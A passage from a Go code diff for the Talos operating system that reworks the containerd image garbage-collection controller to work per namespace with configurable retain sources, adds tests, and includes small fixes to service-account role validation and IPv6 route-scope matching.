= defaultImageServiceProvider(ctrl.containerdName) + } - if ctrl.buildExpectedImages { - etcdSpec, err := safe.ReaderGet[*etcd.Spec](ctx, r, resource.NewMetadata(etcd.NamespaceName, etcd.SpecType, etcd.SpecID, resource.VersionUndefined)) - if err != nil && !state.IsNotFoundError(err) { - return fmt.Errorf("error getting etcd spec: %w", err) - } + if ctrl.imageFirstSeenUnreferenced == nil { + ctrl.imageFirstSeenUnreferenced = map[string]time.Time{} + } - if etcdSpec != nil { - expectedImages = append(expectedImages, etcdSpec.TypedSpec().Image) - } + if ctrl.CleanupInterval == 0 { + ctrl.CleanupInterval = DefaultImageCleanupInterval + } - kubeletSpec, err := safe.ReaderGet[*k8s.KubeletSpec](ctx, r, resource.NewMetadata(k8s.NamespaceName, k8s.KubeletSpecType, k8s.KubeletID, resource.VersionUndefined)) - if err != nil && !state.IsNotFoundError(err) { - return fmt.Errorf("error getting kubelet spec: %w", err) - } + if ctrl.GCGracePeriod == 0 { + ctrl.GCGracePeriod = DefaultImageGCGracePeriod + } +} - if kubeletSpec != nil { - expectedImages = append(expectedImages, kubeletSpec.TypedSpec().Image) - } - } +// runCleanup runs a single cleanup cycle, lazily creating imageServiceProvider if it isn't set yet. +// +// It returns imageServiceProvider back (created or unchanged) so the caller can keep closing it on exit. +func (ctrl *ImageGCController) runCleanup(ctx context.Context, logger *zap.Logger, reader controller.Reader, imageServiceProvider ImageServiceProvider) (ImageServiceProvider, error) { + retainRefs, err := ctrl.safeRefsToRetain(ctx, reader) + if err != nil { + return imageServiceProvider, fmt.Errorf("error computing images to retain: %w", err) + } + + if imageServiceProvider == nil { + imageServiceProvider, err = ctrl.ImageServiceProvider() + if err != nil { + return nil, fmt.Errorf("error creating image service provider: %w", err) } + } - r.ResetRestartBackoff() + if err := ctrl.cleanup(ctx, logger, imageServiceProvider.ImageService(), retainRefs); err != nil { + return imageServiceProvider, fmt.Errorf("error running image cleanup: %w", err) } + + return imageServiceProvider, nil } +// updateContainerdStatus reports whether the watched containerd service is running and healthy. +func (ctrl *ImageGCController) updateContainerdStatus(ctx context.Context, r controller.Runtime) (bool, error) { + containerdService, err := safe.ReaderGet[*v1alpha1.Service](ctx, r, resource.NewMetadata(v1alpha1.NamespaceName, v1alpha1.ServiceType, ctrl.containerdName, resource.VersionUndefined)) + if err != nil && !state.IsNotFoundError(err) { + return false, fmt.Errorf("error getting container service: %w", err) + } + + return containerdService != nil && containerdService.TypedSpec().Running && containerdService.TypedSpec().Healthy, nil +} + +// safeRefsToRetain calls RefsToRetain, treating a nil one as retaining nothing. +func (ctrl *ImageGCController) safeRefsToRetain(ctx context.Context, reader controller.Reader) ([]string, error) { + if ctrl.refsToRetain == nil { + return nil, nil + } + + return ctrl.refsToRetain(ctx, reader) +} + +// buildExpectedDigests resolves the expected image references to the digests they name. +// +// An expectation is either a bare digest, which resolves to itself, or a reference, which either +// carries its digest or has to be matched by name and tag against the images actually stored. +// //nolint:gocyclo func buildExpectedDigests(logger *zap.Logger, actualImages []images.Image, expectedImages []string) (map[string]struct{}, error) { - var parseErrors error + var ( + parseErrors error + expectedReferences []reference.Named + ) - expectedReferences := xslices.Map(expectedImages, func(ref string) reference.Named { - res, parseErr := reference.ParseNamed(ref) + expectedDigests := map[string]struct{}{} - parseErrors = errors.Join(parseErrors, parseErr) + for _, ref := range expectedImages { + // Bare digest, as ContainerImageStatus and ContainerInstanceSpec carry it: nothing to + // resolve. + if dgst, err := digest.Parse(ref); err == nil { + expectedDigests[dgst.String()] = struct{}{} - return res - }) + continue + } + + // ParseDockerRef rather than ParseNamed, because it is what the pull path normalizes with + // (see internal/pkg/containers/image.Pull), and the containerd image record is named after + // the result. + parsed, parseErr := reference.ParseDockerRef(ref) + if parseErr != nil { + parseErrors = errors.Join(parseErrors, parseErr) + + continue + } + + expectedReferences = append(expectedReferences, parsed) + } if parseErrors != nil { return nil, fmt.Errorf("error parsing expected images: %w", parseErrors) } - expectedDigests := map[string]struct{}{} - for _, expectedRef := range expectedReferences { // easy case: image ref has digest, record it if expectedDigested, ok := expectedRef.(reference.Digested); ok { @@ -257,7 +335,7 @@ func buildExpectedDigests(logger *zap.Logger, actualImages []images.Image, expec continue } - digest := image.Target.Digest.String() + imageDigest := image.Target.Digest.String() if ref, ok := imageRef.(reference.NamedTagged); ok { if expectedRef.Name() != ref.Name() { @@ -266,7 +344,7 @@ func buildExpectedDigests(logger *zap.Logger, actualImages []images.Image, expec if expectedTagged, ok := expectedRef.(reference.Tagged); ok && ref.Tag() == expectedTagged.Tag() { // this is expected image by tag, inject digest - expectedDigests[digest] = struct{}{} + expectedDigests[imageDigest] = struct{}{} break } @@ -280,7 +358,7 @@ func buildExpectedDigests(logger *zap.Logger, actualImages []images.Image, expec func (ctrl *ImageGCController) cleanup(ctx context.Context, logger *zap.Logger, imageService images.Store, expectedImages []string) error { logger.Debug("running image cleanup") - ctx = namespaces.WithNamespace(ctx, constants.SystemContainerdNamespace) + ctx = namespaces.WithNamespace(ctx, ctrl.containerdNamespace) actualImages, err := imageService.List(ctx) if err != nil { @@ -311,13 +389,13 @@ func (ctrl *ImageGCController) cleanup(ctx context.Context, logger *zap.Logger, // calculate image age two ways, and pick the minimum: // * as CRI reports it, which is the time image got pulled - // * as we see it, this means the image won't be deleted until it reaches the age of ImageGCGracePeriod from the moment it became unreferenced + // * as we see it, this means the image won't be deleted until it reaches the age of GCGracePeriod from the moment it became unreferenced imageAgeCRI := time.Since(image.CreatedAt) imageAgeInternal := time.Since(ctrl.imageFirstSeenUnreferenced[image.Name]) imageAge := min(imageAgeCRI, imageAgeInternal) - if imageAge < ImageGCGracePeriod { + if imageAge < ctrl.GCGracePeriod { logger.Debug("skipping image cleanup, as it's below minimum age", zap.String("image", image.Name), zap.Duration("age", imageAge)) continue diff --git a/internal/app/machined/pkg/controllers/cri/image_gc_retain.go b/internal/app/machined/pkg/controllers/cri/image_gc_retain.go new file mode 100644 index 00000000000..0108dd6db0c --- /dev/null +++ b/internal/app/machined/pkg/controllers/cri/image_gc_retain.go @@ -0,0 +1,97 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package cri + +import ( + "context" + "fmt" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/etcd" + "github.com/siderolabs/talos/pkg/machinery/resources/k8s" +) + +// KubernetesRefsToRetain preserves the images of the Kubernetes-related services Talos runs itself: +// etcd and the kubelet. +// +// Images of Kubernetes pods are deliberately out of scope, as the kubelet garbage collects those. +func KubernetesRefsToRetain(ctx context.Context, reader controller.Reader) ([]string, error) { + var retain []string + + etcdSpec, err := safe.ReaderGet[*etcd.Spec](ctx, reader, resource.NewMetadata(etcd.NamespaceName, etcd.SpecType, etcd.SpecID, resource.VersionUndefined)) + if err != nil && !state.IsNotFoundError(err) { + return nil, fmt.Errorf("error getting etcd spec: %w", err) + } + + if etcdSpec != nil { + retain = append(retain, etcdSpec.TypedSpec().Image) + } + + kubeletSpec, err := safe.ReaderGet[*k8s.KubeletSpec](ctx, reader, resource.NewMetadata(k8s.NamespaceName, k8s.KubeletSpecType, k8s.KubeletID, resource.VersionUndefined)) + if err != nil && !state.IsNotFoundError(err) { + return nil, fmt.Errorf("error getting kubelet spec: %w", err) + } + + if kubeletSpec != nil { + retain = append(retain, kubeletSpec.TypedSpec().Image) + } + + return retain, nil +} + +// TalosContainersRefsToRetain preserves the images of the containers declared in the machine +// configuration. +// +// It covers all three views a container has of its image, because they can disagree and each one +// alone leaves a window where an image in use looks collectable: +// +// - ContainerSpec.Image.Ref is what is declared. It is a reference rather than a digest, so it +// only resolves once the image is actually stored, and a moving tag resolves to whatever is +// stored now rather than to what was pulled. +// - ContainerImageStatus.Digest is what was pulled for that container, which pins the bytes a +// moving tag resolved to at pull time. +// - ContainerInstanceSpec.Image is the digest a running instance was created against. An instance +// carries a resolved snapshot and is replaced rather than mutated, so after the reference is +// edited this is the only place the still-running image is named. +func TalosContainersRefsToRetain(ctx context.Context, reader controller.Reader) ([]string, error) { + var retain []string + + containerSpecs, err := safe.ReaderListAll[*containers.ContainerSpec](ctx, reader) + if err != nil { + return nil, fmt.Errorf("error listing container specs: %w", err) + } + + for containerSpec := range containerSpecs.All() { + retain = append(retain, containerSpec.TypedSpec().Image.Ref) + } + + imageStatuses, err := safe.ReaderListAll[*containers.ContainerImageStatus](ctx, reader) + if err != nil { + return nil, fmt.Errorf("error listing container image statuses: %w", err) + } + + for imageStatus := range imageStatuses.All() { + // Empty until the pull completes; there is nothing to preserve before then. + if digest := imageStatus.TypedSpec().Digest; digest != "" { + retain = append(retain, digest) + } + } + + instanceSpecs, err := safe.ReaderListAll[*containers.ContainerInstanceSpec](ctx, reader) + if err != nil { + return nil, fmt.Errorf("error listing container instance specs: %w", err) + } + + for instanceSpec := range instanceSpecs.All() { + retain = append(retain, instanceSpec.TypedSpec().Image) + } + + return retain, nil +} diff --git a/internal/app/machined/pkg/controllers/cri/image_gc_test.go b/internal/app/machined/pkg/controllers/cri/image_gc_test.go index 2259821240b..94ec323d032 100644 --- a/internal/app/machined/pkg/controllers/cri/image_gc_test.go +++ b/internal/app/machined/pkg/controllers/cri/image_gc_test.go @@ -13,6 +13,7 @@ import ( "time" "github.com/containerd/containerd/v2/core/images" + "github.com/containerd/containerd/v2/pkg/namespaces" "github.com/opencontainers/go-digest" v1 "github.com/opencontainers/image-spec/specs-go/v1" "github.com/siderolabs/gen/maps" @@ -23,6 +24,8 @@ import ( crictrl "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/cri" "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/ctest" + "github.com/siderolabs/talos/pkg/machinery/constants" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" "github.com/siderolabs/talos/pkg/machinery/resources/etcd" "github.com/siderolabs/talos/pkg/machinery/resources/k8s" "github.com/siderolabs/talos/pkg/machinery/resources/v1alpha1" @@ -33,15 +36,13 @@ func TestImageGC(t *testing.T) { mockImageService := &mockImageService{} // Create the controller inside synctest time function so it uses the controlled time - controller := crictrl.NewImageGCController("cri", true) + controller := crictrl.NewImageGCController("cri", constants.SystemContainerdNamespace, crictrl.KubernetesRefsToRetain) controller.ImageServiceProvider = func() (crictrl.ImageServiceProvider, error) { return mockImageService, nil } - // Set up the test environment manually suite := &ctest.DefaultSuite{ AfterSetup: func(suite *ctest.DefaultSuite) { - // Register the controller suite.Require().NoError(suite.Runtime().RegisterController(controller)) }, // We need a long timeout here because we advance time manually in the test and we want the controller @@ -60,7 +61,7 @@ func TestImageGC(t *testing.T) { storedImages := []images.Image{ { Name: "registry.io/org/image1:v1.3.5@sha256:6b094bd0b063a1172eec7da249eccbb48cc48333800569363d67c747960cfa0a", - CreatedAt: now.Add(-2 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-2 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:6b094bd0b063a1172eec7da249eccbb48cc48333800569363d67c747960cfa0a")), }, @@ -68,42 +69,42 @@ func TestImageGC(t *testing.T) { { Name: "sha256:6b094bd0b063a1172eec7da249eccbb48cc48333800569363d67c747960cfa0a", // the image age is more than the grace period, but the controller won't remove due to the check on the last seen unreferenced timestamp - CreatedAt: now.Add(-4 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-4 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:6b094bd0b063a1172eec7da249eccbb48cc48333800569363d67c747960cfa0a")), }, }, // ok to be gc'd, same as above, another ref { Name: "registry.io/org/image1:v1.3.7", - CreatedAt: now.Add(-2 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-2 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135")), }, }, // current image { Name: "registry.io/org/image1@sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135", - CreatedAt: now.Add(-2 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-2 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135")), }, }, // current image, canonical ref { Name: "sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135", - CreatedAt: now.Add(-2 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-2 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135")), }, }, // current image, digest ref { Name: "registry.io/org/image1:v1.3.8", - CreatedAt: now.Add(crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:fd03335dd2e7163e5e36e933a0c735d7fec6f42b33ddafad0bc54f333e4a23c0")), }, }, // not ok to clean up, too new { Name: "registry.io/org/image2@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8", - CreatedAt: now.Add(-2 * crictrl.ImageGCGracePeriod), + CreatedAt: now.Add(-2 * crictrl.DefaultImageGCGracePeriod), Target: v1.Descriptor{ Digest: must(digest.Parse("sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8")), }, @@ -131,11 +132,11 @@ func TestImageGC(t *testing.T) { // Advance time past the grace period to make old images eligible for cleanup // Grace period is 60 minutes, so advance by 65 minutes to ensure cleanup - time.Sleep(crictrl.ImageGCGracePeriod + 5*time.Minute) + time.Sleep(crictrl.DefaultImageGCGracePeriod + 5*time.Minute) synctest.Wait() // Advance time to trigger the cleanup cycle (15 minutes) - time.Sleep(crictrl.ImageCleanupInterval) + time.Sleep(crictrl.DefaultImageCleanupInterval) synctest.Wait() // Wait for cleanup to complete // Images that should remain after cleanup: @@ -149,12 +150,234 @@ func TestImageGC(t *testing.T) { "registry.io/org/image2@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8", // etcd image } - imageList, err := mockImageService.List(suite.Ctx()) - require.NoError(t, err) + suite.Assert().Equal(expectedImages, mockImageService.imageNames(), "images after first GC run do not match expected") - actualImages := xslices.Map(imageList, func(i images.Image) string { return i.Name }) + suite.Assert().Equal([]string{constants.SystemContainerdNamespace}, mockImageService.seenNamespaces(), + "controller must only touch the containerd namespace it was constructed with") + }) +} + +// TestImageGCTalosContainers covers the instance which collects the taloscontainers namespace, where +// the expected set comes from the containers declared in the machine configuration. +func TestImageGCTalosContainers(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + const ( + cleanupInterval = time.Minute + gracePeriod = 5 * time.Minute + ) + + mockImageService := &mockImageService{} + + controller := crictrl.NewImageGCController("cri", constants.TalosContainersContainerdNamespace, crictrl.TalosContainersRefsToRetain) + controller.ImageServiceProvider = func() (crictrl.ImageServiceProvider, error) { + return mockImageService, nil + } + controller.CleanupInterval = cleanupInterval + controller.GCGracePeriod = gracePeriod + + suite := &ctest.DefaultSuite{ + AfterSetup: func(suite *ctest.DefaultSuite) { + suite.Require().NoError(suite.Runtime().RegisterController(controller)) + }, + Timeout: 2 * time.Hour, + } + + suite.SetT(t) + + suite.SetupTest() + defer suite.TearDownTest() + + now := time.Now() + + mockImageService.images = []images.Image{ + { + // Referenced by a ContainerSpec below. Note the stored name uses the `docker.io` + // host produced by the pull path, while the spec carries the `index.docker.io` + // canonical form: the two must still match. + Name: "docker.io/library/alpine:3.23", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{ + Digest: must(digest.Parse("sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135")), + }, + }, + { + // Referenced by a ContainerSpec by digest. + Name: "registry.k8s.io/pause@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{ + Digest: must(digest.Parse("sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8")), + }, + }, + { + // Left over from a container which is no longer declared: this is the leak the + // controller exists to collect. + Name: "docker.io/library/alpine:3.22", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{ + Digest: must(digest.Parse("sha256:6b094bd0b063a1172eec7da249eccbb48cc48333800569363d67c747960cfa0a")), + }, + }, + } + + criService := v1alpha1.NewService("cri") + criService.TypedSpec().Healthy = true + criService.TypedSpec().Running = true + + require.NoError(t, suite.State().Create(suite.Ctx(), criService)) + + shell := containers.NewContainerSpec(containers.NamespaceName, "shell") + shell.TypedSpec().Image = containers.ContainerImageSpec{Ref: "index.docker.io/library/alpine:3.23"} + require.NoError(t, suite.State().Create(suite.Ctx(), shell)) + + pause := containers.NewContainerSpec(containers.NamespaceName, "pause") + pause.TypedSpec().Image = containers.ContainerImageSpec{ + Ref: "registry.k8s.io/pause@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8", + } + require.NoError(t, suite.State().Create(suite.Ctx(), pause)) + + time.Sleep(gracePeriod + cleanupInterval) + synctest.Wait() + + suite.Assert().Equal( + []string{ + "docker.io/library/alpine:3.23", + "registry.k8s.io/pause@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8", + }, + mockImageService.imageNames(), + "images referenced by a ContainerSpec must survive, unreferenced ones must not", + ) + + // Removing the container's configuration makes its image collectable, but only after it has + // been seen unreferenced for the grace period. + require.NoError(t, suite.State().Destroy(suite.Ctx(), shell.Metadata())) + + time.Sleep(cleanupInterval) + synctest.Wait() + + suite.Assert().Contains(mockImageService.imageNames(), "docker.io/library/alpine:3.23", + "image must not be collected before the grace period elapses") + + time.Sleep(gracePeriod + cleanupInterval) + synctest.Wait() + + suite.Assert().Equal( + []string{"registry.k8s.io/pause@sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8"}, + mockImageService.imageNames(), + "image of a removed container must be collected", + ) + + suite.Assert().Equal([]string{constants.TalosContainersContainerdNamespace}, mockImageService.seenNamespaces(), + "controller must only touch the containerd namespace it was constructed with") + }) +} + +// TestImageGCTalosContainersResolvedDigests covers the two expectation sources which name an image by +// digest rather than by reference: the pull result, and what a running instance was created against. +// +// Both matter when the declared reference no longer names the stored image: after the reference is +// edited, or when it is a moving tag which has since been re-resolved. +func TestImageGCTalosContainersResolvedDigests(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + const ( + cleanupInterval = time.Minute + gracePeriod = 5 * time.Minute + + runningDigest = "sha256:1111111111111111111111111111111111111111111111111111111111111111" + pulledDigest = "sha256:2222222222222222222222222222222222222222222222222222222222222222" + orphanDigest = "sha256:3333333333333333333333333333333333333333333333333333333333333333" + ) + + mockImageService := &mockImageService{} + + controller := crictrl.NewImageGCController("cri", constants.TalosContainersContainerdNamespace, crictrl.TalosContainersRefsToRetain) + controller.ImageServiceProvider = func() (crictrl.ImageServiceProvider, error) { + return mockImageService, nil + } + controller.CleanupInterval = cleanupInterval + controller.GCGracePeriod = gracePeriod + + suite := &ctest.DefaultSuite{ + AfterSetup: func(suite *ctest.DefaultSuite) { + suite.Require().NoError(suite.Runtime().RegisterController(controller)) + }, + Timeout: 2 * time.Hour, + } - suite.Assert().Equal(expectedImages, actualImages, "images after first GC run do not match expected") + suite.SetT(t) + + suite.SetupTest() + defer suite.TearDownTest() + + now := time.Now() + + mockImageService.images = []images.Image{ + { + // Named by no reference in the expected set: the container's declared reference has + // been edited to a tag which has not been pulled yet, so only the still-running + // instance names these bytes. + Name: "docker.io/library/nginx:1.29", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{Digest: must(digest.Parse(runningDigest))}, + }, + { + // The container declares the moving tag `redis:8`, which does not match this record + // by name and tag. Only the pull result names these bytes. + Name: "docker.io/library/redis:8.0", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{Digest: must(digest.Parse(pulledDigest))}, + }, + { + Name: "docker.io/library/mysql:9.0", + CreatedAt: now.Add(-2 * gracePeriod), + Target: v1.Descriptor{Digest: must(digest.Parse(orphanDigest))}, + }, + } + + criService := v1alpha1.NewService("cri") + criService.TypedSpec().Healthy = true + criService.TypedSpec().Running = true + + require.NoError(t, suite.State().Create(suite.Ctx(), criService)) + + // web: reference edited to a tag whose pull is still in flight, so its image status carries + // no digest yet, and the running instance is the only thing naming the old image. + web := containers.NewContainerSpec(containers.NamespaceName, "web") + web.TypedSpec().Image = containers.ContainerImageSpec{Ref: "index.docker.io/library/nginx:1.30"} + require.NoError(t, suite.State().Create(suite.Ctx(), web)) + + webImage := containers.NewContainerImageStatus(containers.NamespaceName, "web") + webImage.TypedSpec().Phase = containers.ContainerImagePhasePulling + webImage.TypedSpec().Image = "index.docker.io/library/nginx:1.30" + require.NoError(t, suite.State().Create(suite.Ctx(), webImage)) + + webInstance := containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID("web", 0)) + webInstance.TypedSpec().ContainerID = "web" + webInstance.TypedSpec().Image = runningDigest + require.NoError(t, suite.State().Create(suite.Ctx(), webInstance)) + + // cache: declares a moving tag, which the stored record does not carry. The pull result is + // what pins the bytes that tag resolved to. + cache := containers.NewContainerSpec(containers.NamespaceName, "cache") + cache.TypedSpec().Image = containers.ContainerImageSpec{Ref: "index.docker.io/library/redis:8"} + require.NoError(t, suite.State().Create(suite.Ctx(), cache)) + + cacheImage := containers.NewContainerImageStatus(containers.NamespaceName, "cache") + cacheImage.TypedSpec().Phase = containers.ContainerImagePhaseReady + cacheImage.TypedSpec().Image = "index.docker.io/library/redis:8" + cacheImage.TypedSpec().Digest = pulledDigest + require.NoError(t, suite.State().Create(suite.Ctx(), cacheImage)) + + time.Sleep(gracePeriod + cleanupInterval) + synctest.Wait() + + suite.Assert().Equal( + []string{ + "docker.io/library/nginx:1.29", + "docker.io/library/redis:8.0", + }, + mockImageService.imageNames(), + "images named only by an instance spec or an image status must survive; one named by nothing must not", + ) }) } @@ -162,6 +385,10 @@ type mockImageService struct { mu sync.Mutex images []images.Image + + // namespaces records every containerd namespace the controller operated in, so that a test can + // assert it collected the namespace it was constructed with and no other. + namespaces map[string]struct{} } func (m *mockImageService) ImageService() images.Store { @@ -172,6 +399,31 @@ func (m *mockImageService) Close() error { return nil } +// recordNamespace notes the containerd namespace carried by ctx. Called with m.mu held. +func (m *mockImageService) recordNamespace(ctx context.Context) { + ns, ok := namespaces.Namespace(ctx) + if !ok { + ns = "" + } + + if m.namespaces == nil { + m.namespaces = map[string]struct{}{} + } + + m.namespaces[ns] = struct{}{} +} + +// seenNamespaces returns the containerd namespaces the controller has operated in so far. +func (m *mockImageService) seenNamespaces() []string { + m.mu.Lock() + defer m.mu.Unlock() + + seen := maps.Keys(m.namespaces) + slices.Sort(seen) + + return seen +} + func (m *mockImageService) Get(ctx context.Context, name string) (images.Image, error) { panic("not implemented") } @@ -180,6 +432,8 @@ func (m *mockImageService) List(ctx context.Context, filters ...string) ([]image m.mu.Lock() defer m.mu.Unlock() + m.recordNamespace(ctx) + return slices.Clone(m.images), nil } @@ -195,11 +449,24 @@ func (m *mockImageService) Delete(ctx context.Context, name string, opts ...imag m.mu.Lock() defer m.mu.Unlock() + m.recordNamespace(ctx) + m.images = xslices.FilterInPlace(m.images, func(i images.Image) bool { return i.Name != name }) return nil } +// imageNames returns the names of the images left in the store. +// +// It reads the store directly rather than through List, so that inspecting it from a test does not +// count as the controller having operated in a namespace. +func (m *mockImageService) imageNames() []string { + m.mu.Lock() + defer m.mu.Unlock() + + return xslices.Map(m.images, func(i images.Image) string { return i.Name }) +} + func TestBuildExpectedImageDigests(t *testing.T) { actualImages := []images.Image{ { @@ -244,6 +511,13 @@ func TestBuildExpectedImageDigests(t *testing.T) { Digest: must(digest.Parse("sha256:2f794176e9bd8a28501fa185693dc1073013a048c51585022ebce4f84b469db8")), }, }, + { + // As the pull path names it: `docker.io`, not the `index.docker.io` canonical form. + Name: "docker.io/library/alpine:3.23", + Target: v1.Descriptor{ + Digest: must(digest.Parse("sha256:ba0b7fbc85d67cf5b0d0c1e2b0b0eab0a5fa9b3b7c8b6e0a1a2b3c4d5e6f7081")), + }, + }, } logger := zaptest.NewLogger(t) @@ -290,6 +564,29 @@ func TestBuildExpectedImageDigests(t *testing.T) { "registry.io/org/image1:v1.3.9", }, }, + { + // ContainerImageStatus and ContainerInstanceSpec name an image by bare digest, which + // resolves to itself: there is nothing to look up in the stored images. + name: "by bare digest", + expectedImages: []string{ + "sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135", + }, + expectedDigests: []string{ + "sha256:7051a34bcd2522e58a2291d1aa065667f225fd07e4445590b091e86c6799b135", + }, + }, + { + // ContainerConfig canonicalizes Docker Hub references to the `index.docker.io` host, + // while the pull path stores the image record under `docker.io`. Both must resolve to + // the same digest, or every container image would look unreferenced. + name: "docker hub host normalization", + expectedImages: []string{ + "index.docker.io/library/alpine:3.23", + }, + expectedDigests: []string{ + "sha256:ba0b7fbc85d67cf5b0d0c1e2b0b0eab0a5fa9b3b7c8b6e0a1a2b3c4d5e6f7081", + }, + }, } { t.Run(test.name, func(t *testing.T) { expectedDigests, err := crictrl.BuildExpectedDigests(logger, actualImages, test.expectedImages) diff --git a/internal/app/machined/pkg/controllers/k8s/render_config_static_pods.go b/internal/app/machined/pkg/controllers/k8s/render_config_static_pods.go index b88cea6ea78..09d09c34a38 100644 --- a/internal/app/machined/pkg/controllers/k8s/render_config_static_pods.go +++ b/internal/app/machined/pkg/controllers/k8s/render_config_static_pods.go @@ -241,8 +241,7 @@ func (ctrl *RenderConfigsStaticPodController) Run(ctx context.Context, r control r.TypedSpec().Ready = true r.TypedSpec().Version = admissionRes.Metadata().Version().String() + auditRes.Metadata().Version().String() + - authorizerConfigRes.Metadata().Version().String() + - kubeSchedulerRes.Metadata().Version().String() + authorizerConfigRes.Metadata().Version().String() if authenticationConfigRes != nil { r.TypedSpec().Version += authenticationConfigRes.Metadata().Version().String() diff --git a/internal/app/machined/pkg/controllers/kubeaccess/serviceaccount/crd_controller.go b/internal/app/machined/pkg/controllers/kubeaccess/serviceaccount/crd_controller.go index 46c3c539613..61d10496b01 100644 --- a/internal/app/machined/pkg/controllers/kubeaccess/serviceaccount/crd_controller.go +++ b/internal/app/machined/pkg/controllers/kubeaccess/serviceaccount/crd_controller.go @@ -323,7 +323,11 @@ func (t *CRDController) syncHandler(ctx context.Context, key string) error { } desiredRoles, found, err := unstructured.NestedStringSlice(talosSA.UnstructuredContent(), "spec", "roles") - if err != nil || !found { + + // parse desiredRoles to see if they are empty. + desiredRoleSet, _ := role.Parse(desiredRoles) + + if err != nil || !found || desiredRoleSet.Empty() { msg := messageRolesNotFound updateErr := t.updateTalosSAStatus(ctx, talosSA, msg) @@ -340,8 +344,6 @@ func (t *CRDController) syncHandler(ctx context.Context, key string) error { return errors.New(msg) } - desiredRoleSet, _ := role.Parse(desiredRoles) - if !slices.ContainsFunc(t.allowedNamespaces, func(allowedNS string) bool { return allowedNS == namespace }) { @@ -357,6 +359,7 @@ func (t *CRDController) syncHandler(ctx context.Context, key string) error { return nil } + // every requested role must appear in the allowlist; the empty desiredRoles list is handled above. var unallowedRoles []string for _, desiredRole := range desiredRoles { diff --git a/internal/app/machined/pkg/controllers/network/route_spec.go b/internal/app/machined/pkg/controllers/network/route_spec.go index 2532993de77..2b9f4286b56 100644 --- a/internal/app/machined/pkg/controllers/network/route_spec.go +++ b/internal/app/machined/pkg/controllers/network/route_spec.go @@ -142,6 +142,20 @@ func routePriorityMatches(actual uint32, expected *network.RouteSpecSpec) bool { actual == network.DefaultRouteMetric } +// RouteScopeMatches compares the actual rtm scope (as reported by the kernel), with the expected scope, as defined in the RouteSpec. +// +// The kernel accepts any scope on RTM_NEWROUTE. However, the route scope is an IPv4-only concept. +// In the case of IPv6, the kernel ignores the provided scope, and the IPv6 FIB (fib6_info) doesn't even have an equivalent scope field. +// When the route is read back, the kernel always fills the returned route's scope with RT_SCOPE_UNIVERSE (nethelpers.ScopeGlobal), in +// rt6_fill_node(). That's why we only assert the scope in non-IPv6 scenarios. +func RouteScopeMatches(actual uint8, expected *network.RouteSpecSpec) bool { + if expected.Family == nethelpers.FamilyInet6 { + return true + } + + return actual == uint8(expected.Scope) +} + func findMatchingRoutes(existingRoutes []rtnetlink.RouteMessage, expected *network.RouteSpecSpec) []*rtnetlink.RouteMessage { var result []*rtnetlink.RouteMessage //nolint:prealloc @@ -355,7 +369,7 @@ func (ctrl *RouteSpecController) syncRoute(ctx context.Context, r controller.Run } // check if existing route matches the spec: if it does, skip update - if existing.Scope == uint8(route.TypedSpec().Scope) && nethelpers.RouteFlags(existing.Flags).Equal(route.TypedSpec().Flags) && + if RouteScopeMatches(existing.Scope, route.TypedSpec()) && nethelpers.RouteFlags(existing.Flags).Equal(route.TypedSpec().Flags) && existing.Protocol == uint8(route.TypedSpec().Protocol) && // when no out-link is requested, accept whatever egress device the kernel resolved (linkIndex == 0 || existing.Attributes.OutIface == linkIndex) && diff --git a/internal/app/machined/pkg/controllers/network/route_spec_test.go b/internal/app/machined/pkg/controllers/network/route_spec_test.go index d485933e398..4f177984918 100644 --- 